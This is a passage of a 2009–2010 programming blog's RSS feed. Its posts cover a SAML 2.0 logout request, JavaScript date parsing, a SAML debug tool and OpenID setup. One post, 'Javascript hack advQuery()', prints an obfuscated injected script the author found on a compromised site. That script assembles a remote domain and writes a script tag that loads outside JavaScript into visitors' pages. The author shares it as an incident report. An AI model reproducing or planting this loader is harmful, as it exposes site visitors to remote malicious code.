#ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;</span></span><br />
<span style="color: #009900;">&nbsp; <span style="color: #000066;">ID</span>=<span style="color: #ff0000;">&quot;aaad4e0f4e4f50a3ac594217d95af479f274183578&quot;</span> <span style="color: #000066;">Version</span>=<span style="color: #ff0000;">&quot;2.0&quot;</span></span><br />
<span style="color: #009900;">&nbsp; <span style="color: #000066;">IssueInstant</span>=<span style="color: #ff0000;">&quot;2010-04-08T13:45:04Z&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;saml:Issuer</span> <span style="color: #000066;">xmlns:saml</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>http://saml20sp.abilityweb.us<br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/saml:Issuer<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;saml:NameID</span> <span style="color: #000066;">xmlns:saml</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot;</span></span><br />
<span style="color: #009900;">&nbsp; &nbsp; <span style="color: #000066;">NameQualifier</span>=<span style="color: #ff0000;">&quot;http://idp.ssocircle.com&quot;</span> <span style="color: #000066;">SPNameQualifier</span>=<span style="color: #ff0000;">&quot;http://saml20sp.abilityweb.us&quot;</span></span><br />
<span style="color: #009900;">&nbsp; &nbsp; <span style="color: #000066;">Format</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:nameid-format:persistent&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>XYa7izGqt70RRuRTsW+Tn6yMsmuN<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/saml:NameID<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;samlp:SessionIndex</span> <span style="color: #000066;">xmlns:samlp</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>s2a9fb7ad623c6aa2fb5d657f15a8055a8bbe4e004<br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/samlp:SessionIndex<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/samlp:LogoutRequest<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></div></td></tr></tbody></table></div>
<p>That request is first DEFLATED, then Base64 encoded, and then URL Encoded to be:</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">nZJfa8IwFMW%2FSsnrsKY1sTZoYSAbgsqmsn9vt22yBdqk9qbM7dOvVQcK4oMveTi55%2F5Obu4YoSwqMbeftnEruW0kOm9XFgbF%2FmZCmtoIC6hRGCglCpeJ9f1iLkKfiqq2zma2IN5sOiEAkDNJFZNMcQoDyHjMwiDKYw6KRbEKIxaMBjwaEe9F1qitmZC2TetGbOTMoAPjWokGtEdZj442wUAwLij7IIk37gKJfWl9EvF6QkCUtWtJJPlyrhL9fucJKVY%2BpLrQ7udbpn6D4%2F5J9%2BSAWrbdZtMbUF7nfG6g0ErLekKOZJ1XPqLNdJ0V0s9sSbz10%2BXSyyGJ92DrEtz1HJ2i857al4qqGzQ6aRxJ3t4h0r%2BPWxfR1apZbfD1bmOGPwssm%2BVxAIc3HwZQibXE7pdmJpe7G7YiwRBilUaQD8NBNgQIVcrzIY9UwGFEeXukqWxXhrID%2FpyY%2FItn25n8AQ%3D%3D</div></td></tr></tbody></table></div>
<p>Which is then sent over https via:</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">https://idp.ssocircle.com:443/sso/IDPSloRedirect/metaAlias/ssocircle?SAMLRequest=nZJfa8IwFMW%2FSsnrsKY1sTZoYSAbgsqmsn9vt22yBdqk9qbM7dOvVQcK4oMveTi55%2F5Obu4YoSwqMbeftnEruW0kOm9XFgbF%2FmZCmtoIC6hRGCglCpeJ9f1iLkKfiqq2zma2IN5sOiEAkDNJFZNMcQoDyHjMwiDKYw6KRbEKIxaMBjwaEe9F1qitmZC2TetGbOTMoAPjWokGtEdZj442wUAwLij7IIk37gKJfWl9EvF6QkCUtWtJJPlyrhL9fucJKVY%2BpLrQ7udbpn6D4%2F5J9%2BSAWrbdZtMbUF7nfG6g0ErLekKOZJ1XPqLNdJ0V0s9sSbz10%2BXSyyGJ92DrEtz1HJ2i857al4qqGzQ6aRxJ3t4h0r%2BPWxfR1apZbfD1bmOGPwssm%2BVxAIc3HwZQibXE7pdmJpe7G7YiwRBilUaQD8NBNgQIVcrzIY9UwGFEeXukqWxXhrID%2FpyY%2FItn25n8AQ%3D%3D&amp;RelayState=http%3A%2F%2Fsaml20sp.abilityweb.us%2Fspdbg%2Fhome.php</div></td></tr></tbody></table></div>
<p>Where the Identity Provider processed the logout and returned us to our RelayState url.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-james-andersen.com/blog/programming/stepping-through-a-saml2-0-authentication-process.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Converting Date Strings to Javascript Dates</title>
		<link>http://www.john-james-andersen.com/blog/programming/converting-date-strings-to-javascript-dates.html</link>
		<comments>http://www.john-james-andersen.com/blog/programming/converting-date-strings-to-javascript-dates.html#comments</comments>
		<pubDate>Wed, 10 Mar 2010 14:49:14 +0000</pubDate>
		<dc:creator>John Andersen</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://www.john-james-andersen.com/?p=369</guid>
		<description><![CDATA[Javascript does have a good Date object that can be used to manipulate dates in your script. Another benefit it sports is that it can take several string formats and create a Date object from that string. However, despite their efforts to use the most common strings you will likely come across a date format [...]]]></description>
			<content:encoded><![CDATA[<p>Javascript does have a good Date object that can be used to manipulate dates in your script.  Another benefit it sports is that it can take several string formats and create a Date object from that string.  However, despite their efforts to use the most common strings you will likely come across a date format that doesn&#8217;t automatically convert over to the Date object.</p>
<p>This may be a little quick and dirty, but if you know your date string format is going to always be in a particular format, it is easy to convert that date string into a string that could be interpreted by the Date object constructor.  Here is an example of such an effort:</p>
<div class="codecolorer-container javascript blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span><br />
&nbsp; dateString <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;09-Jan-10&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #003366; font-weight: bold;">var</span> parts <span style="color: #339933;">=</span> dateString.<span style="color: #660066;">match</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/([0-9]*)\-([a-zA-Z]*)\-([0-9]*)/</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; dateString <span style="color: #339933;">=</span> parts<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot; &quot;</span> <span style="color: #339933;">+</span> parts<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;, 20&quot;</span> <span style="color: #339933;">+</span> parts<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">3</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #003366; font-weight: bold;">var</span> myDate <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Date<span style="color: #009900;">&#40;</span>dateString<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; document.<span style="color: #000066; font-weight: bold;">write</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Date :&quot;</span> <span style="color: #339933;">+</span> myDate.<span style="color: #660066;">getDate</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; document.<span style="color: #000066; font-weight: bold;">write</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;&lt;BR&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #006600; font-style: italic;">//getMonth is 0 based for some reason so add 1 to the result</span><br />
&nbsp; document.<span style="color: #000066; font-weight: bold;">write</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Month : &quot;</span> <span style="color: #339933;">+</span> myDate.<span style="color: #660066;">getMonth</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; document.<span style="color: #000066; font-weight: bold;">write</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;&lt;BR&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>document.<span style="color: #000066; font-weight: bold;">write</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Year : &quot;</span> <span style="color: #339933;">+</span> myDate.<span style="color: #660066;">getFullYear</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></div></td></tr></tbody></table></div>
]]></content:encoded>
			<wfw:commentRss>http://www.john-james-andersen.com/blog/programming/converting-date-strings-to-javascript-dates.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Great SAML Decode/Encode Tool</title>
		<link>http://www.john-james-andersen.com/blog/programming/great-saml-decodeencode-tool.html</link>
		<comments>http://www.john-james-andersen.com/blog/programming/great-saml-decodeencode-tool.html#comments</comments>
		<pubDate>Wed, 10 Mar 2010 14:29:48 +0000</pubDate>
		<dc:creator>John Andersen</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://www.john-james-andersen.com/?p=361</guid>
		<description><![CDATA[I have been struggling for the past few days trying to get my Java program to properly build and encode a SAML 2.0 Authentication Request that should initiate a Single Sign-on event with a SAML 2.0 capable Identity Provider. I was having problems with the Java library that I was using to DEFLATE the authentication [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.john-james-andersen.com/wp-content/uploads/matrix.png" alt="Encoding &amp; Decoding SAML 2.0" title="Encoding &amp; Decoding SAML 2.0" width="393" height="292" class="alignright size-full wp-image-362" /><br />
I have been struggling for the past few days trying to get my Java program to properly build and encode a SAML 2.0 Authentication Request that should initiate a Single Sign-on event with a SAML 2.0 capable Identity Provider.</p>
<p>I was having problems with the Java library that I was using to DEFLATE the authentication request before I sent it to the IdP.  I found a great <a href="https://rnd.feide.no/simplesaml/module.php/saml2debug/debug.php">SAML debug tool</a> that helped me out immensely.</p>
<p>Here it is below:</p>
<p><iframe  width="100%" height="750" FRAMEBORDER= 0 src="https://rnd.feide.no/simplesaml/module.php/saml2debug/debug.php"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-james-andersen.com/blog/programming/great-saml-decodeencode-tool.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OpenID Basics &#8211; Getting Going</title>
		<link>http://www.john-james-andersen.com/blog/programming/openid-basics-getting-going.html</link>
		<comments>http://www.john-james-andersen.com/blog/programming/openid-basics-getting-going.html#comments</comments>
		<pubDate>Wed, 24 Feb 2010 18:02:38 +0000</pubDate>
		<dc:creator>John Andersen</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://www.john-james-andersen.com/?p=356</guid>
		<description><![CDATA[I have been spending the past day working with OpenID an getting it to work on a couple of different portals/web applications. OpenID works really well and I highly recommend it as an alternative method of authentication. In order to get started accepting OpenID credentials in your authentication model, or even to get started using [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.john-james-andersen.com/wp-content/uploads/openid_logo.gif" alt="" title="openid_logo_long" width="337" height="200" class="aligncenter size-full wp-image-357" /></p>
<p>I have been spending the past day working with OpenID an getting it to work on a couple of different portals/web applications.  OpenID works really well and I highly recommend it as an alternative method of authentication.</p>
<p>In order to get started accepting OpenID credentials in your authentication model, or even to get started using OpenID at all, you need to follow some of these steps.  I&#8217;ll also mark some of the tools that might be helpful.</p>
<p>First, get an OpenID yourself.  Whether you are going to write an authentication module or just use OpenID, you will need to get an ID.  OpenID is a type of protocol or method.  There is not any one place that you can get an OpenID.  There are many providers of such ID&#8217;s.  You can also be your own provider.  I happened to create an openID at <a href="http://www.myopenid.com">myopenid.com</a>.  However you can search through a number of providers in this <a href="http://openid.net/get-an-openid/">openID providers list</a>.</p>
<p>Once you have an OpenID, you will notice that it is not your typical username.  An openID is a URL.  For example, one of my test openID&#8217;s is:  http://ttest123.myopenid.com.</p>
<p>Now you can try using your OpenID.  One great resource to finding OpenID enabled sites it to browse the following <a href="http://openiddirectory.com/">OpenID site directory</a>: http://openiddirectory.com/.</p>
<p>If you are going to enable one of your web applications to use OpenID, I would recommend a site that lists many already created libraries for OpenID in a number of languages. The best resource I know is this <a href="http://wiki.openid.net/Libraries">OpenID Library list</a>.</p>
<p>Use the examples in the libraries that you download to understand how to easily integrate OpenID into your own Authentication System.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-james-andersen.com/blog/programming/openid-basics-getting-going.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Javascript hack advQuery()</title>
		<link>http://www.john-james-andersen.com/blog/programming/javascript-hack-advquery.html</link>
		<comments>http://www.john-james-andersen.com/blog/programming/javascript-hack-advquery.html#comments</comments>
		<pubDate>Fri, 10 Jul 2009 02:06:39 +0000</pubDate>
		<dc:creator>John Andersen</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://www.john-james-andersen.com/?p=326</guid>
		<description><![CDATA[Just today I came across a javascript hack that was sending information for website users to a third party location. The way I found this out – other than getting malware notices from Google, was to do a wireshark trace on the offending website. From there I saw some interesting requests. Upon closer inspection, I [...]]]></description>
			<content:encoded><![CDATA[<p>Just today I came across a javascript hack that was sending information for website users to a third party location.</p>
<p>The way I found this out – other than getting malware notices from Google, was to do a wireshark trace on the offending website. From there I saw some interesting requests. Upon closer inspection, I found a piece of code with this function that I did not recognize:</p>
<blockquote><p>function advQuery(){<br />
var Host=”http://google.com/”;Track=”/if.php”;get=unescape(”%6E%65%74″);<br />
document.write(unescape(”%3Cscript src=’”+Host.substr(0,9)+unescape(”\u0030\u0030″)+Host.substr(9,5)+get));<br />
document.write(unescape(Track+”‘ type=’text/javascript’%3E%3C/script%3E”));<br />
};advQuery();</p></blockquote>
<p>It is easy enough to clear up, but now I need to find out how it got there!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-james-andersen.com/blog/programming/javascript-hack-advquery.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->
